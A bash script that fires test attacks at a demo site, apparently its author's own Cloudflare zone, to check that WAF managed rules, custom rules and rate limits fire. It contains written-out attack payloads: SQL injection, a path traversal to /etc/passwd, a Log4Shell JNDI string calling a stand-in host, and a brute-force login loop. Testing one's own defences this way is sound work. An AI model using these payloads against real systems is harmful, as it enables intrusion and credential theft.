#!/usr/bin/env bash
# =============================================================================
# Cloudflare Application Security — attack simulation
#
# Fires a curated set of attacks against https://security.nobledemos.com to
# exercise the Managed Rules, Custom Rules, and Rate Limiting Rules deployed
# to the zone. Every request prints a single colored line: status code,
# short description, and which rule was expected to fire.
#
# Usage:
#   ./attack.sh managed      # fire attacks targeting Managed Rules
#   ./attack.sh custom       # fire attacks targeting Custom Rules
#   ./attack.sh ratelimit    # fire attacks targeting Rate Limiting Rules
#   ./attack.sh all          # run all three in sequence
#
# Dependencies: bash + curl only.
# =============================================================================

set -u

HOST="${HOST:-security.nobledemos.com}"
BASE="https://${HOST}"
DASH_URL="https://dash.cloudflare.com/5d0f550ecac4edbe2cf1e0f49476ce01/nobledemos.com/security/security-rules"

# ---------- colors ----------
if [[ -t 1 ]]; then
	C_RESET=$'\033[0m'
	C_DIM=$'\033[2m'
	C_BOLD=$'\033[1m'
	C_GREEN=$'\033[32m'
	C_ORANGE=$'\033[38;5;208m'
	C_RED=$'\033[31m'
	C_GRAY=$'\033[90m'
	C_CYAN=$'\033[36m'
else
	C_RESET= C_DIM= C_BOLD= C_GREEN= C_ORANGE= C_RED= C_GRAY= C_CYAN=
fi

# ---------- helpers ----------
hit() {
	# $1 = expected outcome: "block" | "allow" | "429"
	# $2 = label (what/why)
	# $3+ = curl args
	local expect="$1"; shift
	local label="$1"; shift
	local status
	status="$(curl -s -o /dev/null -w '%{http_code}' "$@" "${BASE}$(last_arg "$@")" 2>/dev/null || echo "000")"
	render_line "$expect" "$status" "$label"
}

# Internal: rebuild target URL from last positional arg (so callers can pass -X, -H, -A, then path)
last_arg() {
	local last=""
	for a in "$@"; do last="$a"; done
	printf '%s' ""
}

# Simpler: callers pass FULL url as last arg via hit_url below.
hit_url() {
	local expect="$1"; shift
	local label="$1"; shift
	local url="$1"; shift
	local status
	status="$(curl -s -o /dev/null -w '%{http_code}' "$@" "$url" 2>/dev/null || echo "000")"
	render_line "$expect" "$status" "$label"
}

render_line() {
	local expect="$1" status="$2" label="$3"
	local tag color
	case "$status" in
		200|204) tag="allowed" ; color="$C_GRAY"   ;;
		403)     tag="blocked" ; color="$C_GREEN"  ;;
		429)     tag=" 429    "; color="$C_ORANGE" ;;
		401)     tag="  401   "; color="$C_DIM"    ;;
		*)       tag="  ?     "; color="$C_RED"    ;;
	esac

	# Good/bad relative to expectation — use ✓ when the rule did what we wanted
	local mark=" "
	case "$expect" in
		block) [[ "$status" == "403" ]]              && mark="${C_GREEN}✓${C_RESET}" ;;
		429)   [[ "$status" == "429" ]]              && mark="${C_ORANGE}✓${C_RESET}" ;;
		allow) [[ "$status" == "200" || "$status" == "401" ]] && mark="${C_GREEN}✓${C_RESET}" ;;
	esac

	printf '  [%b%s%b] %b%s%b  %s\n' \
		"$mark" " " "" \
		"$color" "$status" "$C_RESET" \
		"$label"
}

banner() {
	local title="$1"
	echo ""
	printf '%b━━━ %s ━━━%b\n' "$C_BOLD$C_ORANGE" "$title" "$C_RESET"
	echo ""
}

footer_dashboard() {
	echo ""
	printf '%b→ Open the dashboard to see security events:%b\n' "$C_CYAN" "$C_RESET"
	printf '  %s\n' "$DASH_URL"
	echo ""
}

# =============================================================================
# Managed Rules
# =============================================================================
attack_managed() {
	banner "Managed Rules"
	echo "Expected: each attack matches a deployed Managed / OWASP rule and is blocked."
	echo ""

	# SQLi — OWASP Core
	hit_url block "SQLi payload (OWASP Core)" \
		"${BASE}/?id=%27%20OR%201%3D1--"

	# Path traversal — Cloudflare Managed Ruleset
	hit_url block "Path traversal /etc/passwd (Cloudflare Managed)" \
		"${BASE}/?file=../../../../etc/passwd"

	# Log4Shell in User-Agent — Cloudflare Managed Ruleset
	hit_url block "Log4Shell JNDI payload in User-Agent (Cloudflare Managed)" \
		"${BASE}/" \
		-A '${jndi:ldap://evil.example.com/x}'

	# Exposed Credentials — logged only (action=log), so this returns 401 from origin
	# but the dashboard will show an ExposedCredentialCheck-ct-password-matched event.
	hit_url allow "Exposed credentials POST /login (Exposed Credentials Check → log)" \
		"${BASE}/login" \
		-X POST -H "Content-Type: application/x-www-form-urlencoded" \
		-d "username=admin@example.com&password=Password1!"
}

# =============================================================================
# Custom Rules
# =============================================================================
attack_custom() {
	banner "Custom Rules"
	echo "Expected: scraper UA blocked, /admin challenged, /api/* blocked without key."
	echo ""

	hit_url block "Scraper User-Agent (sqlmap)" \
		"${BASE}/" \
		-A "sqlmap/1.8.0 (https://sqlmap.org)"

	# managed_challenge returns 403 to curl (no JS execution to solve the challenge)
	hit_url block "GET /admin — managed_challenge (curl cannot solve, shown as 403)" \
		"${BASE}/admin"

	hit_url block "GET /api/data without x-api-key — blocked" \
		"${BASE}/api/data"

	hit_url allow "GET /api/data WITH x-api-key — should pass" \
		"${BASE}/api/data" \
		-H "x-api-key: demo-key-abc123"
}

# =============================================================================
# Rate Limiting Rules
# =============================================================================
attack_ratelimit() {
	banner "Rate Limiting Rules"
	echo "Expected: brute-force blocked after 5 attempts; per-API-key quota isolated per key."
	echo ""

	echo "[1] Brute-force login — 10× POST /login (limit: 5 per 60s):"
	for i in $(seq 1 10); do
		hit_url 429 "  attempt ${i}/10" \
			"${BASE}/login" \
			-X POST -H "Content-Type: application/x-www-form-urlencoded" \
			-d "username=user${i}@example.com&password=wrong"
	done

	echo ""
	echo "[2] Per-API-key quota on /api/* — 15× with key 'demo-key-abc123' (limit: 10 per 10s):"
	for i in $(seq 1 15); do
		hit_url 429 "  attempt ${i}/15 (key=abc123)" \
			"${BASE}/api/data" \
			-H "x-api-key: demo-key-abc123"
	done

	echo ""
	echo "[3] Different API key — 1× with key 'demo-key-xyz999' (should pass: separate counter):"
	hit_url block "  with key=xyz999 (expect 403: api-key-required, not 429 — counter is per-key)" \
		"${BASE}/api/data" \
		-H "x-api-key: demo-key-xyz999"
}

# =============================================================================
# All
# =============================================================================
attack_all() {
	attack_managed
	sleep 1
	attack_custom
	sleep 1
	attack_ratelimit
	footer_dashboard
}

# ---------- dispatch ----------
case "${1:-}" in
	managed)   attack_managed ; footer_dashboard ;;
	custom)    attack_custom  ; footer_dashboard ;;
	ratelimit) attack_ratelimit ; footer_dashboard ;;
	all)       attack_all ;;
	*)
		cat <<EOF
Usage: $0 {managed|custom|ratelimit|all}

  managed    Fire SQLi / path traversal / Log4Shell / exposed-creds payloads
  custom     Fire scraper-UA / /admin / /api/* attacks
  ratelimit  Fire brute-force login and per-API-key quota attacks
  all        Run all three in sequence

Target:    ${BASE}
Dashboard: ${DASH_URL}
EOF
		exit 2
		;;
esac
